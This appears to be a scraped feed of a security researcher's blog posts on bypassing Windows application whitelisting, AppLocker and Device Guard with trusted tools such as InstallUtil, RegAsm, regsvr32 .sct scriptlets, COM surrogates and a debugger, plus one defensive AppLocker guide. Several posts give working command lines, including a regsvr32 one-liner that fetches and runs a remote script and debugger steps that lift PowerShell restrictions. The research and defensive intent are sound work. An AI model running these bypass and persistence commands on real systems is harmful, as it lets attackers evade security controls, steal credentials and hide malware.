Quantcast
Channel: subTee
Viewing all 45 articles
Browse latest View live

Application Whitelisting Evasion 101 - Trusted Things That Execute Things "InstallUtil.exe"

$
0
0
I'm not much of a blogger/writer. But I think this topic warrants open discussion. So here goes my first attempt to articulate what I have been talking about.

I have given a couple talks on this topic:
https://github.com/subTee/ShmooCon-2015
Video #39 Whitelisting Evasion
https://archive.org/details/shmoocon-2015-videos-playlist#

Despite my bypass "gimics", is Whitelisting an effective Defense?

I still think it works well against opportunistic attacks.  However, the modern adversary has many techniques at their disposal to circumvent these types of controls. Even if they running as Kernel Mode Drivers.

Those of you who have have heard my talk, will recognize these tactics, but I wanted to put them down in a blog for wider discussion.

There are a number of "Trusted Things That Execute Things".  This, based on my research is one of the big gaps in Whitelisting.  If you are a defender, you need to be aware of them.

My favorite bypass techniques (so far)  are, in no particular order:
1. InstallUtil.exe
2. PowerShell (Future Blog)
3. Exploit/Migrate (Future Blog)
4. WMI Providers  (Future Blog)
5. COM Surrogates  (Future Blog)

InstallUtil.exe

This file is one of my favorites of late. It is found in the .NET directory. It takes a .NET assembly as a parameter and locates the class that is properly decorated with the attribute:

[System.ComponentModel.RunInstaller(true)]

Once executed, InstallUtil locates the Install or Uninstall function in the provided assembly.  You can specify this in the call.  Install is default. Uninstall can be called with the "/U" parameter. 

There is something a bit magical about this utility.  It circumvents nearly all Whitelisting applications.  

How? 

Because it loads the assembly in a manner that allows us to bypass the prescribed manner that vendors use to block execution events.

What the hell does that mean?  

The point at which execute operations are detected only read-only access to the section is requested. Later, execute access is requested which results in the image being mapped as EXECUTE_WRITECOPY and subsequently allows unchecked execute.

Microsoft has stated here:

Based on my limited understanding here. What we found is a tool that loads Assemblies with Read Permission, and LATER changes the permissions to Execute.  This is contrary to the guidance provided for how to block executable code.

So, in order to demonstrate the full capabilities of this tool I began to explore its functionality.

Here are a couple examples:
1. This example will load Mimikatz inside of the process space of InstallUtil.exe
 This is incredibly shitty code that I wrote one afternoon to see if I could get it to work. It is heavily customized to load the Mimikatz executable, it does not run arbitrary binaries like Invoke-ReflectivePEInjection, but it does work.
https://gist.github.com/subTee/00cdac8990584bd2c2fe

2. This example just executes shellcode. Pretty straight forward stuff.
https://gist.github.com/subTee/a06d4ae23e2517566c52

There are several other techniques and fun things you can do with InstallUtil.

- It accepts Parameters for example /DecryptionKey="pass"
- It can be used to create Janus/Two-Face binaries.  Binaries that have 2 distinct behaviors.  One that is exhibited when called by Main(), and another when you Invoke the same binary with InstallUtil.exe

Something like this:


You would then first, compile the binary.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:PELoader.exe PELoader.cs

This can get caught by systems if you try to outright execute the new file.  Notice the 'Access Denied'.  However, if I invoke the same file like this:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
I get the file to execute just fine.



Ok, Got it?

.NET reflection mastery is a powerful way to circumvent Application Whitelising.

Like this guy:



So, there it is my first blog.  Some of you have heard this before, for others, especially defenders, I hope you will carefully watch out for InstallUtil.exe


Cheers!

Casey
@subTee







Hiding In Plain Sight - COM Surrogate Application Whitelisting Bypass & Persistence

$
0
0

dllhost.exe


What exactly are all those Dllhost.exe processes and What are they doing?

Best description I have found to describe what is happening here:

"The dllhost.exe process goes by the name COM Surrogate ... What is this COM Surrogate...?
The COM Surrogate is a fancy name for Sacrificial process for a COM object that is run outside of the process that requested it. Explorer uses the COM Surrogate when extracting thumbnails, for example. If you go to a folder with thumbnails enabled, Explorer will fire off a COM Surrogate and use it to compute the thumbnails for the documents in the folder. It does this because Explorer has learned not to trust thumbnail extractors; they have a poor track record for stability. Explorer has decided to absorb the performance penalty in exchange for the improved reliability resulting in moving these dodgy bits of code out of the main Explorer process. When the thumbnail extractor crashes, the crash destroys the COM Surrogate process instead of Explorer.
In other words, the COM Surrogate is the I don't feel good about this code, so I'm going to ask COM to host it in another process. That way, if it crashes, it's the COM Surrogate sacrificial process that crashes instead of me process. And when it crashes, it just means that Explorer's worst fears were realized."

Again, Dllhost is a trusted signed binary that executes other binaries.  So, it is a candidate for Whitelisting bypass. With the added bonus of being a persistence mechanism.

I wrote a Proof Of Concept here: [Updated]

Basically, this is just going to execute some shell code once we register the COM+ Application.

1: [.NET SDK]     sn.exe key.snk 

2:  C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /keyfile:key.snk /target:library /out:dllguest.dll dllguest.cs

3: [As Administrator]     C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe dllguest.dll

4: [From PowerShell]     $b = New-Object -ComObject dllguest.bypass
         OR
    [From VBScript]         Dim obj
                                         Set obj = CreateObject("dllguest.Bypass")
5. [Jscript]
                                       var o = new ActiveXObject("dllguest.Bypass");

6. [Poweliks Like]
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=new%20ActiveXObject("dllguest.Bypass");


Here is one place you can find the registered COM service:


It does require Admin rights to install the COM+ Application. And all this example does is execute shellcode. Feel free to explore other aspects of COM Surrogate persistence. There is quite a bit more here.

When was the last time you checked your workstation for a COM+ Application.  Further more, if the target system is running a tool like Sysmon

They will see TONS of entries for dllhost.exe.  They look like this:


So there you go.  Blend in with the noise, bypass all the things.  Camouflage is a way for hunters to blend in with the terrain.  Dllhost.exe certainly helps you blend in with the system noise.

This works brilliantly with a Meterpreter Reverse Shell.



So there you go.  Until next time






Cheers!

Casey 
@subTee






JScript .NET Who Cares & Its Not As Bad As You Think...

$
0
0
tl;dr This is not client side arbitrary shellcode execution.

Recently I released a Proof Of Concept Script to demonstrate executing shellcode via JScript .NET.

Why?

I just wanted to see if it could be done.

JScript .NET is a .NET programming language developed by Microsoft. It allows you to compile binaries using the jsc compiler provided with the .NET framework. The compiler is found in places like:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js

This produces a binary called Shellcode.exe, which is new and untrusted and will get blocked by any Application Whitelist.

Why bother doing this?

I wanted to learn.  To see what it would take to work, and see if there are any other applications.

Turns are a couple useful applications:

1. Embed the JScript into an ASPX application, to achieve server side execution/persistence
    Seen Here: JScript Aspx Integration
2. Use of the eval function for dynamic execution and obfuscation.
3. JS files can pass many filters and then be compiled locally.

So there you have it. I wanted to see if I could use reflection to access native api functions via JScript .NET.

It is possible.




So, its not as bad as you may be thinking.

Cheers!

Casey
@subTee


Article 4

$
0
0
Simple Example Of Encoded Mimikatz - UPX Packed, Base64 Encoded.


This image has Mimikatz embedded inside it. It can be used to smuggle files past network based executable monitoring tools.  Tools that search for and detonate executable content off the wire.

Here's how it works...

The file is appended to a traditional PNG file. Mimikatz begins at offset 0x247f.

As an exercise, you can write a PowerShell script that will download, unpack and execute the file.

The Hash of the image should be

SHA1:6ad4894b31f8b85361fdaa18b6e5b8c3a3ec0b1a
SHA256:afc01576b3990217a98edc82488508134ba57986c73bc93381398703e5f8a19b










You could, oh, I don't know... Set this as your Wallpaper for safekeeping.

Update: PowerShell Script

Update 2: Full UnPacked Based64 Encoded Mimikatz at Offset 0xc8ec

SHA256: 402a67413f745cdf397130acb0cff05302e4c88bc3b64bfd432bcc8dbc829947



Cheers,

Casey
@subTee


All-Natural, Organic, Free Range, Sustainable, Whitelisting Evasion - Regsvcs and RegAsm

$
0
0
I am a big fan of "Living off the Land".  Using only native default tools to accomplish objectives.

Recently I stumbled on another Whitelisting Bypass Trick. Its actually in the same class as "Trusted Things that Execute Things".  But its a new toolset and requires slight modification to get execution.

Introducing Regsvcs.exe and RegAsm.exe.  Both are part of a default .NET install, and signed by Microsoft. Sound familiar?

First these two tools are used to register .NET COM assemblies, but remember, we don't really care about their original intent.

What I found was these applications typically require admin rights to perform the necessary installation and registration.  However, there is a catch. Using some C# Attributes we can influence the execution, EVEN if we don't have admin rights.

[ComRegisterFunction] & [ComUnregisterFunction] These two attributes specify code that can run before registration/unregistration (o_O).  All we need to do is present these applications with an assembly with these attributes and it will happily execute our code for us



You will need to create a Strong Name Key (snk) in order to get this to work, but thats trivial.

This technique will work even if the file has been explicitly banned, and even if DLL whitelisting is enabled. The reason is, the dll is executed via reflection, and the whitelisting apps never receive notification of an execute event...

I put a sample here:

https://gist.github.com/subTee/fb09ef511e592e6f7993

So, thats it really. Simply compile and execute your dll and run it as a guest of RegAsm or Regsvcs.

These files are already installed on any workstation/server with .NET Framework.

I'm sure there are more like this. But this pattern seems to be working quite well for me.

This may be just the technique needed for someone to gain an initial foothold.


It is my opinion that this bypass method has ramifications beyond just Whitelisting Apps...

Thats all I got today...

Cheers

Casey
@subTee

Your Whitelisting Application Has No Clothes

$
0
0
I am not entirely sure that I am communicating this accurately.  So here goes another simple attempt...

Whitelisting applications, that prescribe to the Microsoft best practice for intercepting and blocking executable file execution have a GAPING hole.  That hole is .NET loading of assemblies via reflection.

http://download.microsoft.com/download/4/4/b/44bb7147-f058-4002-9ab2-ed22870e3fe9/Kernal%20Data%20and%20Filtering%20Support%20for%20Windows%20Server%202008.doc

Page 18...



Signed Microsoft binaries that load assemblies via reflection such as InstallUtil, Regsvcs, and RegAsm do not follow the pattern that most Whitelisting applications are expecting.

What this means is that your whitelisting application MISSES execution event by these tools.

I have tested multiple tools and they ALL miss this type of execution.

What I am not saying, is Whitelisting is bad.  I am saying this is a tremendous gap in the ability to detect execution events.

Windows 10 with UMCI and Device Guard seems to be able to detect and prevent this sufficiently.

So. again... If you are whitelisting as a defense, please be wary of .NET applications that can load executables as READ and later change permissions to EXECUTE...

That is all...

Cheers,

Casey
@subTee


You Can Run And You Can Hide...

$
0
0
With increased scrutiny of files written to disk, one is left with the question; where could I stash binary content and execute it later?  There are lots of places.  Image files, Registry, etc...

One place that I have found convenient is the Event Log.  Some log types allow you to write binary data into the log entry. One example is the WSH logs.  I think VSS to, but haven't tested.  Anyway, there are probably others...

This matters, because many security products are recording and hashing any executable file written to disk.

So first we create our binary and encode/encrypt it or whatever.

Based on what I found, you are limited on the WSH logs to about 31389 bytes.

https://msdn.microsoft.com/EN-US/library/windows/desktop/aa363679.aspx

Plenty of space for a small foothold.

If you have larger binaries, I've included code to split and reassemble.

Once the content is securely stashed in the Event Log You can revive it via an Event Log Trigger or some other mechanism.

http://blogs.technet.com/b/wincat/archive/2011/08/25/trigger-a-powershell-script-from-a-windows-event.aspx

Things to consider.
1.  If the event log is cleared...
Well you need to replace the content. So you could attach a trigger to the clear log event perhaps to rehydrate.
Other areas to explore would be writing to custom logs as described here:
http://www.codeproject.com/Articles/39218/How-To-Create-a-Windows-Event-Log-and-Write-your-C

2.  You may consider adjusting log retention.
https://technet.microsoft.com/en-us/library/cc721981.aspx

There are probably better ideas, and other tricks here to explore.  I'd be curious to get your feedback.

Here's a full protoype.

https://gist.github.com/subTee/08d9954b685ce2584f22


Thats all for now.




Cheers,

Casey
@subTee


Application Whitelisting Quick Reference Guide

$
0
0
Okay, I know, I normally post about how to circumvent Whitelisting...
Now for something all together different.

Are you familiar with the concept of a Cyber Defense Exercise or Competition.
If not start here: http://www.nationalccdc.org/

This will be a succinct list of things to read and quick guidance.

I hope to make the case that Application Whitelisting is a tool that can be used effectively to defend.

It is not meant to be comprehensive or thorough.  I discuss AppLocker since it is free with the certain versions of the Windows Operating System.

Why consider Application Whitelisting?

1. Prevent unauthorized binaries from executing.
2. Prevent unauthorized persistence mechanisms like services.
3. Force your attackers to use different perhaps unfamiliar toolsets.
4. It can increase your visibility (even if not blocking) to new binaries, new executions.
    (See Section below on Sysmon)
5. Monitor execution of arbitrary/unnecessary command/tools.
    http://blog.jpcert.or.jp/.s/2016/01/windows-commands-abused-by-attackers.html
6. Increases noise/tracks generated by attackers. ex -binaries copied around network
7. It really not as hard as you think. Try it on, at a minimum servers and static hosts.


How can attackers circumvent this Defense?

1. PowerShell...PowerShell can load and execute .NET binaries in memory. And so much more...
    http://www.powershellmagazine.com/2014/07/16/investigating-powershell-attacks/
2. Scheduled Tasks and Event Log Triggers.
3. Abuse of .NET utilities. (InstallUtil, RegSvcs, RegAsm)
4. Reflective DLL Injection - Executing Post-Exploitation from memory
5. Office Applications - Macros, executing inside of Excel.exe process for example.
6. Abuse of Native/Trusted Tools - "Living Off The Land", ex -: wmic, netsh, sethc types of attacks.
7. Exploitation - Memory Resisdence/ File-less. ex-  browser exploit, migrate into explorer.


What else can I do?
(This may be out of scope for CCDC, not sure)
1. You need deeper visibility and analytics, consider a free tool like Sysmon
     https://technet.microsoft.com/en-us/sysinternals/sysmon
     http://joshuadlewis.blogspot.com/2014/10/advanced-threat-detection-with-sysmon_74.html
     http://www.darkoperator.com/blog/2014/8/8/sysinternals-sysmon

My guidance:
(Ongoing, expect more updates here)
1. Don't accept the default AppLocker Rules.
2. Avoid Path Rules. These lead to holes that will be quickly discovered.
3. Use Publisher/Cert approvals to get to a hardened state quicker. Example-allow Signed by Microsoft
4. Specifically ban files you know to be suspiciuos or that are not required for administration



.

Closing Thoughts:
One of Application Whitelisting's strength is in preventing initial compromise. It can be useful to resist/constrain lateral movement as well. It will not be a perfect defense.
There is no perfect defense...
Hopefully you will consider deploying this as part of your design. I'm happy to answer specific questions as I have time. You can contact me on Twitter - https://twitter.com/subTee

What did I miss?  Let me know.



References:
AppLocker Overview:
https://technet.microsoft.com/library/hh831440.aspx
AppLocker Configuration:
https://technet.microsoft.com/en-us/library/dd759123.aspx
AppLocker Security Considerations:
https://technet.microsoft.com/en-us/library/ee844118.aspx
AppLocker Step-By-Step Guides:
https://technet.microsoft.com/en-us/library/ee791835(v=ws.10).aspx

Additional Reading:
[PDF] http://www.bitnuts.de/KernelBasedMonitoring.pdf
I've tried to keep a current list here:
https://github.com/subTee/ApplicationWhitelistBypassTechniques


Good Luck Blue Teams!




Cheers,

Casey
@subTee






JavaScript - Office Shellcode Execution - Proof Of Concept

Post-Exploitation Shellcode

$
0
0
Recently I was experimenting with Office Macro shellcode. And it kept getting flagged/caught by EMET!

Increasingly I find myself needing Post-Exploit Shellcode fragments...
I realized, if I am executing shellcode Post-Exploit, there really is no reason to scan memory for kernel32.dll , loadlibary, and getprocadress etc...

I already HAVE access to the API in Office Macros and PowerShell.

I know, I'm slow... Should have dawned on me earlier...

Realize I am trying to exec stub shellcode to preserve existing infrastructure... Metasploit or CobaltStrike for example

There is a lot that could be done Post-Exploit

So, Post-Exploit shellcode execution has a different set of requirements/capabilities.


So early this morning I wrote a quick proof of concept found here:

We can let the Macro or PowerShell provide the handle to the necessary calls, in a way more natural, that is more difficult to pick up by EMET.

Again, this is a really rough draft, an area I continue to experiment with. But I suspect, there is a lot more to this.

Probably has application to the way we call Invoke-Shellcode.ps1, etc...

These are all Post-Exploit calls.

Time to crank out some more asm.
Thats all for now.


Cheers,
Casey @subt0x10

Setting Up A Homestead In the Enterprise with JavaScript

$
0
0
Well, now that everyone has eyes on PowerShell...Lets see what we can do with JavaScript!

My all time favorite talk is here:
Living Off the Land: A Minimalist’s Guide to Windows Post-Exploitation

http://www.irongeek.com/i.php?page=videos/derbycon3/1209-living-off-the-land-a-minimalist-s-guide-to-windows-post-exploitation-christopher-campbell-matthew-graeber

So, this post, doesn't exactly stay true to the idea of living in memory, never touching disk, and only using native tools...

However, I think you might find this interesting.

I've been doing lots of testing on JavaScript lately and wanted to share some of my latest stuff.

Recently I mentioned on Twitter about .SCT files. I only found this recently.  So, I think there is probably lots more cool stuff to explore here.

I really don't have time to go into all the gory COM details here. But the idea of the .SCT scriptlet, is to be able to back your COM object with a script, vb/js.  Instead of a binary.

Who cares?  Well, as you know there are lots of ways to detect, and block binary execution.  Even log when a binary is written to disk.  But if we can establish a foothold with say a text file or XML. Well we may have a chance to hide longer.

Inside COM

This document has some of the back story.

So I wrote a prototype, proof of concept.  I probably won't have anymore time for this. :-)

Here's what my backdoor does.

1. Installs a COM Object into the registry
2. Overwrites the ScriptletURL, which normally points to a local file. Now points to URL
3. Invoke the COM Object and executes dynamically from the url.

This gives me complete persistence in the registry.  I leave it up to the reader to expand and experiment.

I think its pretty cool. But who knows.

Proof of Concept Here



Happy Homesteading.
[UPDATE]
Cheers,

Casey
@subTee






Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files)

$
0
0
So, I have been working this out the last few days. I was trying solve a particular problem.

I needed a reverse shell on workstation locked down by AppLocker executable and script rules enforced.

 tl;dr "regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll"

I have been researching fileless persistence mechanisms.  And it led me to a dark place.  I would wish on no mortal.  COM+.

I posted earlier about .sct files. This link describes what they are. In short they are XML documents, that allow you to register COM objects that are backed not by a .dll but scripts.

Inside COM+

However, I wasn't really happy with what I had found since it required Admin rights in order to execute.  I could register the script to bypass AppLocker, but I still had to instantiate the object to trigger the code execution.

Then, I decided to place the script block inside of the Registration tag. Bam! Now all I had to do was call the regsvr32 and the code would execute. Still... That whole admin problem...

After pouring over hellish COM+ forums from 1999, I found a reference that stated that the code in the registration element executes on register and unregister.

I logged in as a normal user and right clicked the .sct file and chose "unregister" and... It worked.

That was it.

The amazing thing here is that regsvr32 is already proxy aware, uses TLS, follows redirects, etc...And.. You guessed a signed, default MS binary.  Whohoo.

So, all you need to do is host your .sct file at a location you control. From the target, simply execute

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Its not well documented that regsvr32.exe can accept a url for a script.

In order to trigger this bypass, place the code block, either VB or JS inside the <registration> element.

Hopefully this makes sense.

In order to further prove this out, I wrote a PowerShell server to handle execution and return output.

I hope this is helpful and that it makes sense.

There is ALOT more to explore here, so please, send me feedback if you find this helpful.
[Update]
- You can also call a local file too.  If you really wanted to...
- This does not ACTUALLY register the COM object.  So nothing is in the registry... BONUS


Proof Of Concept Here

So, there you have it!

And yes. this bypass fits in a Tweet.  :-)



Are we clear?

Cheers,

Casey
@subTee


Hunting Threats - regsvr32.exe example

$
0
0
I was recently at the Threat Hunting Summit in New Orleans.  It was great to meet some of you who read my posts, and to get feedback on my talk.

My slide deck is here:

ThreatHunting Summit

So, we hunt threats a bit differently.  Let me explain. We act out adversarial actions, and try to discover innovative tactics that adversaries might use.

I have published these on my blog and on my github page. The purpose in my publishing is to inform defenders of tactics that can be used against defensive systems...

I have mentioned in several talks, that I am interested mainly in architectural flaws, or oversights, that can allow attackers to use trusted tools, in unexpected ways.  These are not exploits... There is no patch coming... I am using the tools in the manner that they are meant to be used, mostly, for developers.

I really do enjoy what the DFIR community is doing, from Memory Forensics, to Continuous Monitoring, to Log Aggregation and analysis... And I get it, all that is good stuff.

But then there are hidden caves and corners in the OS, like regsvr32, and the other tools I've written about

These are on your box and nobody knows what the hell it does, or COULD do....

But likely someone has figured that out, and you are unaware...

So, my opinion, and it is purely that, is this, for those of us who do defense. I encourage you to start looking around, ask what can this do?  Do we ever use it, how often is this EVER executed?  If it does weird stuff.  Ban it perhaps...etc... There is a lot of interesting places to hide that you can find.

So, about regsvr32.exe.  Here's a native tool. Built into the OS, many of us didn't really understand what it could do, until a few days ago...

regsvr32.exe will be one of my favorite finds, and I am glad it got the attention is has.

I hope that some of you will take on the hunt for strange and interesting in your environment.

I grew up hunting in Colorado.  And I can tell you this. You hunt elk very differently than you hunt say Pheasants.  Each situation and industry requires diligence.

Maybe instead of investing in some new widget, we should step back, sit down with the output of "dir /s" and understand what the tools and binaries are on our systems...

Thats free. And a rather interesting exercise.

There's plenty more fun to be had here...


Hope that helps!



Ok, Thats all I got.  

Cheers,

Casey
@subt0x10

To Disarm Device Guard - Bring a Debugger to the Fight. Proof Of Concept

$
0
0
I've been sitting on this for a while and thought I'd do a brief write up.

I'm calling this tactic "Drop the Shields"

What is Device Guard?  Good read here:
https://technet.microsoft.com/en-us/itpro/windows/whats-new/device-guard-overview

The basic idea is we want to lock down the system to only execute approved binaries, etc...

What I am about to describe is a method I use to disarm Device Guard in order to execute some .NET code that has not been approved. This post assumes you already have access to the system.

We will disarm Device Guard by removing PowerShell Constrained Language Mode as a normal user , normal privileges, using no exploitation.

Constrained Language Mode is on once a system is locked down with Device Guard. Details about the impact of that here:
PowerShell about_Language_Modes

Please, this doesn't mean Device Guard is no good or not a strong defense...

I leave it up to the reader on how you might gain a shell on a Device Guard protected system in the first place.

First, lets review some tasks that a normal user can perform.

1. Map a network drive to a url.  example: "net use s: https://live.sysinternals.com"

I like this because its proxy aware, and works over SSL/TLS.  All you need is to have your tool set on a WebDAV share which is trivial.

2. Debug a process that I own.
3. Change Memory in a Process I can debug.
4. Load Binaries Signed by MS - Example - cdb.exe, and SOS.dll

Ok, Here we go.  First verification that the system is indeed under Device Guard Protection.


So, we can't invoke methods, we can't load unapproved binaries.

Step 1: We need to drop cdb.exe on this system. An MS signed binary.  Distributed with Windows debugging tools.  This will/should be able to execute on a System, even after the Device Guard Policies have been set.

Step 2: Attach to your own PowerShell process -
For details on various options see this:   cdb.exe Command-Line Options

Step 3: Load the SOS.dll which is useful for debugging .NET apps. Which PowerShell is.
.load C:\Windows\Microsoft.Net\Framework64\v4.0.30319\SOS.dll;
This should already be on the system, and approved, so we aren't actually adding anything new.

Step 4: Locate the object that contains the setting for Constrained Language Mode
!DumpHeap -type System.Management.Automation.ExecutionContext -short -min 100
Here we just scan the address space for an object of a particular size.
This will return a reference to the location of that object in memory

Step 5:  Edit the _languageMode property, setting it from 3 to 0.  This removes the restrictions.

Here's what it looks like putting steps 1-5 together.

cdb.exe -p $PID -pvr
.load C:\Windows\Microsoft.Net\Framework64\v4.0.30319\SOS.dll !DumpHeap -type System.Management.Automation.ExecutionContext -short -min 100
ed [Address]+148 0
Now that is done, we have effectively removed the constraints.  You are now clear to move about the process.



Ok. So this was really just an experiment.

A PowerShell Constrained Language bypass can degrade the effectiveness of Device Guard.

Of course this entire process can be automated, I leave that to you for experimenting.

Does this mean you should not consider Device Guard. - NO. Device Guard is a powerful tool in the defender arsenal.

It was just bugging me that I could get past it.  And even still this isn't exactly a world class bypass....

So, whats the point of this post?

Well, I wanted to prove a concept that Constrained Language Bypasses will affect defenders who rely on Device Guard.

Feel free to test this. Your mileage may vary.

Remember again, this was not an exploit.  Operating as a standard user, I can attach a debugger to a process I own and manipulate its address space.  But I needed to bring a debugger to the system to do that.

I was really just curious as to where the Language Mode setting was held in memory and could it be altered.

Its not great, but it does pique my curiosity for Constrained Language bypasses.


Ok, that is all I have today.

Feedback Welcome.

Cheers,

Casey
@subTee


Update 5/21/2016

The configuration that I used for device guard, was this:




The reason I mention that is because Device Guard can be configured in many different ways. And if you simply trust the LeafCertificate for apps signed my Microsoft. This could lead to misuse of trusted apps.  Below is one of the best references I have found for configuration:
Device Guard deployment guide

Unlock PowerShell ConstrainedLanguage Mode with InstallUtil.exe

$
0
0
Ok, this was a recent experiment with this library:

CLR MD: .NET Crash Dump and Live Process Inspection

tl;dr - I turned InstallUtil.exe into debugger to unlock PowerShell, and remove ConstrainedLanguage

Ever since I read this excellent blog post,

PowerShell ♥ the Blue Team

I've been puzzling over the way to get past ConstrainedLanguage, when enforced by AppLocker.

This post starts from the point that you can execute commands on a system.  How you get there is up to you.

First: How does ConstrainedLanguage Mode hinder our actions?

It limits which types of objects you can create, which methods you can call, and which properties on an object you can set.  This limits the effectiveness of arbitrary PowerShell.

My goal was to be able to unlock my PowerShell process as a normal user, no exploit, using trusted tools.

I am leveraging two Signed Microsoft binaries and known patterns to do this.

1. InstallUtil.exe
2. Microsoft.Diagnostics.Runtime  (clrmd)
3. .NET Reflection

The way this tool works is as follows.

1. Unpack and load the Microsoft Diagnostics Assembly Into the InstallUtil address space
   -I really need to Compress, First, but I leave that for you to do.
2. Input the ProcessID for the PowerShell process you wish to Unlock
3. Attach to the PowerShell Process
4. Locate the System.Management.Automation.ExecutionContext object
5. Write a value of Zero to this Property

Since we know that InstallUtil.exe will likely bypass many Whitelisting Tools already.  We can leverage this to complete the unlock.


To defend against this, you should probably block/prevent InstallUtil.exe in the first place.  I've been saying that for a while.

I learned a ton, and hope to explore further use cases for CLR MD!   You can see some examples here:

Microsoft.Diagnostics.Runtime "CLR MD" 

And Here:

CLR Memory Diagnostics (ClrMD) 0.8.31-beta

The code I wrote is very ugly, I'll be honest.  However, it works. And might prove useful in certain situations.  There are probably more interesting and better ways to do this. So I'd love to hear what you come up with.

Here you go.  Take it for a spin, feedback welcome as always.

Remove PowerShell ConstrainedLanguage Mode


Ok, Thats all I got.

Cheers,

Casey 
@subTee





What you probably didn't know about regsvr32.exe

$
0
0
Ever have one of those 3am realizations... "THATS what they are up to!!!"

What you probably didn't realize, or maybe you did, but haven't told anyone ;-)...

Or maybe I'm just slow.

Is that regsvr32.exe can load and execute an arbitrary dll pretty easily.

No exploit required... Just a command line and pass it a dll.

The regsvr32.exe utility DllUnregisterServer is well defined here:

DllUnregisterServer entry point

Actually DllRegisterServer works too.

So... All you really need to do to trigger execution is create an exported method that matches that pattern.  HRESULT __stdcall DllRegisterServer(void);

Recently I came across this library.

Unmanaged Exports (DllExport for .Net)

So I decided to experiment this morning.  Yes, 3:10am...  Deal with it.




This is actually pretty easy and it showcases a fun way to use .NET in an unmanaged process...hint, hint.  The CLR is loaded automatically.

Sooo.  What does this mean.  Well. Probably for defenders it means taking a look at your telemetry and if you see any regsvr32 [Some DLL]...  Probably worth understanding.

Perhaps I'm just slow, and maybe you knew this already.  If not, I hope this helps you find some evil.

And of course this bypasses AppLocker...  Cause well. AppLocker has trouble with secondary execution. This is well known.

Security Considerations for AppLocker




Ok, thats all I got.

Cheers,

Casey
@subTee


Advanced Use Case For .SCT Files

$
0
0


I was recently experimenting with some more advanced use cases for an .SCT file. In case you haven’t heard about .SCT files, they can instantiate COM objects backed by scripts, not a DLL.  
There is additional background here

http://thrysoee.dk/InsideCOM+/ch05e.htm

The default association for this extension is notepad. So one way to trigger execution remotely is to call regsvr32.exe /s /u /i:http:/server/file.sct scrobj.dll

I wanted to demonstrate how using a COM Scriptlet you could perhaps, circumvent, tools that monitor executables on the wire.  There are many tools that attempt to extract binaries from the network and execute or analyze them in a sandbox.  
Examples of these types of tools include, BRO Network Security Monitor, https://www.bro.org/sphinx/script-reference/file-analyzers.html
Even some vendor products like FireEye, Cisco, and others. include the ability to pull binaries off the wire and analyze them.  So in this situation, the base64 encoded and/or obfuscated file can slip past the network monitor tools.

This example I create is very basic, I only Base64 encode the file with a native tool, certutil.exe.  One can imagine adding an elementary obfuscation to the Base64 text, or decryption routine.

Here are the steps to reproduce this example.

1.     Create a DLL, the example I used can be found here:
b.     This is a dll with multiple bypass techniques embedded
c.     It uses the excellent Unmanaged Export VS Package https://www.nuget.org/packages/UnmanagedExports 

2.     Encode/Prepare the DLL with certutil.exe
a.     Certutil.exe will encode/decode ANY file on disk.
b.     This way, when we write the file to disk, we use certutil.exe instead of regsvr32 writing the DLL. This helps delay detection by tools that log/monitor PE file writes to disk. So defenders… Watch for certutil.exe writing a PE file...
c.     I started to write a Base64 routine in JS, and gave up… Why bother, when you have a native tool that will happily decode any file, even if it is NOT a certificate.

3.     Embed the output into the .SCT file
a.     You will need to append the line continuation “\” to each line. Easy enough to do…

4.     Host the .sct file on a web server somewhere.

5.     On the target, execute regsvr32.exe /s /u /i:http:/server/file.sct scrobj.dll
a.     How you gain execution is up to you, this is a post-exploitation tactic.

Full working prototype is documented here:

This brings up an important concept with regards to a layered approach and Application Whitelisting. If a file can circumvent an on the wire monitoring tool, and lands on the host...a whitelisting approach should still prevent execution.

It has been my experience that many organizations that deploy whitelisting, do NOT incorporate DLL whitelisting.  This is available in AppLocker, and while it takes considerable effort to dial this in, it goes a long way in preventing unwanted DLL’s from being executed on your system, by trusted applications.  This style of attack is blocked with a standard Device Guard enabled system. Device Guard by default blocks all unapproved, drivers, EXE, DLL, and scripts.

References:  

Device Guard Deployment Guide: Available on Windows 10 Enterprise

Here are some additional references for mitigation of the regsvr32 style execution.
Using EMET:

Using CarbonBlack:

Please send me any other mitigations you have found that work, and I can post them here.  For example someone mentioned to me monitoring the command line for a url.  I don’t have any specifics on that, but that would be solid detection, if you centrally collected Sysmon logs for example.

Thats all I have for now.

                         
                           

As always, Feedback Welcome.


Cheers,

Casey
@subTee



Shellcode Via JScript / VBScript - Happening Now!

$
0
0
I recently came across a dll called DynamicWrapperX -


http://www.script-coding.com/dynwrapx_eng.html


This is an interesting dll, in that it advertises that you can execute win32 calls inside of Jscript / VBScript.  I cannot vouch for the trustworthiness of this dll.  Meaning, only install this in a test environment.  However, I can vouch that this dll gives you extraordinary access to the win32 API, plus other dlls on the system.


The documentation is a bit esoteric, but once you work through the details you can work out how to call any function.


Here is an example on calling a function to pop a MessageBox.


DX = new ActiveXObject("DynamicWrapperX");                  // Create an object instance.
DX.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l");  // Register a dll function.
res = DX.MessageBoxW(0, "Hello, world!", "Test", 4);        // Call the function.


Let's break that down.


0. Install dynwrapx.dll either for all or just one user, admin not required.
1. Instantiate the DX object
2. Register the user32.dll
a. Parameter Breakdown
b. dll name
c. function name
d. input parameter types
e. return value type
3. Execute the script file, with either regsvr32.exe , or cscript.exe


So if you look at the function MessageBoxW on MSDN you see this:


https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505(v=vs.85).aspx


int WINAPI MessageBox(
 _In_opt_ HWND    hWnd,
 _In_opt_ LPCTSTR lpText,
 _In_opt_ LPCTSTR lpCaption,
 _In_     UINT    uType
);


You see that the return value of the function is int => l
hWnd => h
lpText => w
lpCaption => w
uType => u


These mappings are in the documentation.  You chain all that together and get the "i=hwwu" and the "r=l" inputs to the Register Function


So. I decided to see if I could get this thing to execute shell code.  

Yup!


Register 2 functions


